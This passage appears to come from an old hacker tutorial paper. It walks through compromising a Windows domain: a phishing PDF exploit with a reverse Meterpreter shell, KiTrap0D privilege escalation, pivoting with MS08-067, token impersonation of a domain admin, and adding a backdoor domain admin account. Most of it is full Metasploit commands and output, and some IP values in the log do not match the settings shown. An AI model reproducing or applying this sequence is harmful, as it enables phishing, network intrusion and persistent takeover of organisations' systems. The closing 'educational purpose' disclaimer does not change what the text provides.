Reader 8/9 (Most people didn't update software) So when we compromised, We will attack domain controller. Now we compromised 1 machine that join domain controller and have NT/SYSTEM privilege on localmachine but we want more !!!. This step show How to Using "Impersonate Token" Domain admins group and Full compromise Domain Controller and all windows system that joined domain. :MISSION: SPAM Mails 1. Zea3ul ---------------------> Victim@abc.com (Open PDF and Reverse Shell back to Zeq3ul) ^ | | | \--------------------------------/ Reverse Meterpreter Shell 2. Zeq3ul Get Meterpreter shell with USER's Priv, Then Exploit Local kernel with KiTrap0D to SYSTEM's Priv. 3. Zeq3ul Can full compromise victim system, Then Pivot Network and Attack other machine that joined Domain Controller 4. Compromise Domain Controller and all systems. Victory !!! [MSF Result]--------------------------------------------------------------------------------- bt framework3 # msfconsole ____________ < metasploit > ------------ \ ,__, \ (oo)____ (__) )\ ||--|| * =[ metasploit v3.3.4-dev [core:3.3 api:1.0] + -- --=[ 490 exploits - 226 auxiliary + -- --=[ 192 payloads - 23 encoders - 8 nops =[ svn r8091 updated 39 days ago (2010.01.09) Warning: This copy of the Metasploit Framework was last updated 39 days ago. We recommend that you update the framework at least every other day. For information on updating your copy of Metasploit, please see: http://www.metasploit.com/redmine/projects/framework/wiki/Updating msf > use windows/fileformat/adobe_jbig2decode msf exploit(adobe_jbig2decode) > set TARGET 0 TARGET => 0 msf exploit(adobe_jbig2decode) > set FILENAME malfile.pdf FILENAME => malfile.pdf msf exploit(adobe_jbig2decode) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(adobe_jbig2decode) > set LHOST 192.168.80.131 LHOST => 192.168.80.131 msf exploit(adobe_jbig2decode) > exploit [*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Creating 'malfile.pdf' file... [*] Generated output file /pentest/exploits/framework3/data/exploits/malfile.pdf [*] Exploit completed, but no session was created. msf exploit(adobe_jbig2decode) > back msf > use exploit/multi/handler msf exploit(handler) > set LHOST 192.168.163.137 LHOST => 192.168.163.137 msf exploit(handler) > set LPORT 4444 LPORT => 4444 msf exploit(handler) > exploit -j [*] Exploit running as background job. msf exploit(handler) > [*] Starting the payload handler... [*] Started reverse handler on port 4444 [*] Sending stage (723456 bytes) [*] Meterpreter session 1 opened (192.168.163.137:4444 -> 192.168.163.133:1156) msf exploit(hanler) > sessions -l Active sessions =============== Id Description Tunnel -- ----------- ------ 1 Meterpreter 192.168.163.137:4444 -> 192.168.163.133:1156 msf exploit(handler) > session -i 1 [*] Starting interaction with 1... meterpreter > getuid Server username: WINXP\cwh meterpreter > use priv Loading extension priv...success. meterpreter > run kitrap0d [*] Currently running as WINXP\cwh [*] Loading the vdmallowed executable and DLL from the local system... [*] Uploading vdmallowed to C:\DOCUME~1\cwh\LOCALS~1\Temp\kaZZPD.exe... [*] Uploading vdmallowed to C:\DOCUME~1\cwh\LOCALS~1\Temp\vdmexploit.dll... [*] Escalating our process (PID:3248)... -------------------------------------------------- Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit -------------------------------------------- taviso@sdf.lonestar.org --- [?] GetVersionEx() => 5.1 [?] NtQuerySystemInformation() => \WINDOWS\system32\ntkrnlpa.exe@804D7000 [?] Searching for kernel 5.1 signature: version 2... [+] Trying signature with index 3 [+] Signature found 0x288de bytes from kernel base [+] Starting the NTVDM subsystem by launching MS-DOS executable [?] CreateProcess("C:\WINDOWS\twunk_16.exe") => 1204 [?] OpenProcess(1204) => 0x7e8 [?] Injecting the exploit thread into NTVDM subsystem @0x7e8 [?] WriteProcessMemory(0x7e8, 0x2070000, "VDMEXPLOIT.DLL", 14); [?] WaitForSingleObject(0x7d4, INFINITE); [?] GetExitCodeThread(0x7d4, 0012FF44); => 0x77303074 [+] The exploit thread reports exploitation was successful [+] w00t! You can now use the shell opened earlier [*] Deleting files... [*] Now running as NT AUTHORITY\SYSTEM meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > exit meterpreter > route Network routes ============== Subnet Netmask Gateway ------ ------- ------- 0.0.0.0 0.0.0.0 192.211.163.2 127.0.0.0 255.0.0.0 127.0.0.1 192.211.163.0 255.255.255.0 192.211.163.133 192.211.163.133 255.255.255.255 127.0.0.1 192.211.163.255 255.255.255.255 192.211.163.133 224.0.0.0 240.0.0.0 192.211.163.133 255.255.255.255 255.255.255.255 192.211.163.133 meterpreter > Background session 1? [y/N]y msf exploit(handler) > route add 192.211.163.0 255.255.255.0 1 msf exploit(handler) > route print Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 192.211.163.0 255.255.255.0 Session 1 msf exploit(handler) > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set PAYLOAD windows/patchupmeterpreter/reverse_tcp PAYLOAD => windows/patchupmeterpreter/reverse_tcp msf exploit(ms08_067_netapi) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/patchupmeterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process LHOST yes The local address LPORT 4444 yes The local port Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) > set RHOST 192.211.163.140 RHOST => 10.211.55.128 msf exploit(ms08_067_netapi) > set LPORT 5000 LPORT => 5000 msf exploit(ms08_067_netapi) > set LHOST 192.168.163.137 LHOST => 10.10.1.109 msf exploit(ms08_067_netapi) > exploit [*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Automatically detecting the target... [[*] Fingerprint: Windows XP Service Pack 2 - lang:English [*] Selected Target: Windows XP SP2 English (NX) [*] Triggering the vulnerability... [*] Transmitting intermediate stager for over-sized stage...(216 bytes) [*] Sending stage (2650 bytes) [*] Sleeping before handling stage... [*] Uploading DLL (205835 bytes)... [*] Upload completed. [*] Meterpreter session 2 opened (192.168.163.137:5000 -> 192.168.163.133:1233) meterpreter > Background session 2? [y/N]y msf exploit(ms08_067_netapi) > sessions -l Active sessions =============== Id Description Tunnel -- ----------- ------ 1 Meterpreter 192.168.163.137:4444 -> 192.168.163.133:1156 1 Meterpreter 192.168.163.137:5000 -> 192.168.163.133:1233 //We used PIVOT Technique to cross around network and successfully routed our exploit to the 192.211.163.0/24 network,successfully compromised hosts inside the normally non-routable network! //If you notice it says that 192.168.163.137 is connected to 192.168.163.133, note that we did a reverse payload and that 192.168.163.133 is the external IP address. The 192.211.163.133 and 192.211.163.140 are NATed behind the router 192.168.163.133 //Let's Compromise Domain Controller. msf exploit(ms08_067_netapi) > sessions -i 2 [*] Starting interaction with 2... meterpreter > shell Process 15484 created. Channel 1 created. Micorsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>net user net user User accounts for \\ ------------------------------------------------------------------------------- abcxyz admin Administrator ASPNET csadmin Guest IUSR_HDB1 IWAM_HDB1 SUPPORT_388945a0 The command completed with one or more errors. C:\WINDOWS\system32>net group "domain admins" /domain net group "domain admins" /domain The request will be processed at a domain controller for domain clqa.loc. Group name Domain Admins Comment Designated administrators of the domain Members ------------------------------------------------------------------------------- Adit.Pr Administrator Chal.Ar Chal.Are john.sm Kai.om kitti.admin pom.sri The command completed successfully. C:\WINDOWS\system32>exit meterpreter > use incognito Loading extension incognito...success. meterpreter > list_tokens -u Delegation Tokens Available ======================================== CLQA\CLESB.Service CLQA\RS.service NT AUTHORITY\LOCAL SERVICE NT AUTHORITY\NETWORK SERVICE NT AUTHORITY\SYSTEM Impersonation Tokens Available ======================================== CLQA\pom.sri CLQA\john.sm NT AUTHORITY\ANONYMOUS LOGON meterpreter > impersonate_token CLQA\\pom.sri [-] No delegation token available [+] Successfully impersonated user CLQA\pom.sri meterpreter > getuid Server username: CLQA\pom.sri meterpreter > execute -i -f cmd.exe -t Process 14992 created. Channel 2 created. Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\WINDOWS\system32>whoami whoami clqa\pom.sri C:\WINDOWS\system32>net user zeq3ul 5plus4=10 /add /domain net user zeq3ul 5plus4=10 /add /domain The request will be processed at a domain controller for domain clqa.loc. The command completed successfully. C:\WINDOWS\system32>net group "domain admins" zeq3ul /add /domain net group "domain admins" zeq3ul /add /domain The request will be processed at a domain controller for domain clqa.loc. The command completed successfully. C:\WINDOWS\system32>net group "domain admins" /domain net group "domain admins" /domain The request will be processed at a domain controller for domain clqa.loc. Group name Domain Admins Comment Designated administrators of the domain Members ------------------------------------------------------------------------------- Adit.Pr Administrator Chal.Ar Chal.Are john.sm Kai.om kitti.admin pom.sri zeq3ul The command completed successfully. C:\WINDOWS\system32>exit [End Result]------------------------------------------------------------------------------------ From Result, We can conclude that We must compromise only 1 machine that joined domain then impersonate token to "Domain admins", Add user and Escalate Privilege our user (zeq3ul) to "Domain admins" group. Now we compromise all system that joined Domain controller. Mission Accomplished !!!! ##################### [0x04] - References ##################### [1] Zero Cold@intern0t.net [2] http://carnal0wnage.attackresearch.com [3] http://blog.metasploit.com/ [4] Metasploit Unleashed [5] Full Scope Security Attacking Layer 8 #################### [0x05] - Greetz To #################### Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK Special Thx : asylu3, str0ke, citec.us, exploit-db.com ---------------------------------------------------- This paper is written for Educational purpose only. The authors are not responsible for any damage originating from using this paper in wrong objective. If you want to use this knowledge with other person systems, you must request for consent from system owner before ----------------------------------------------------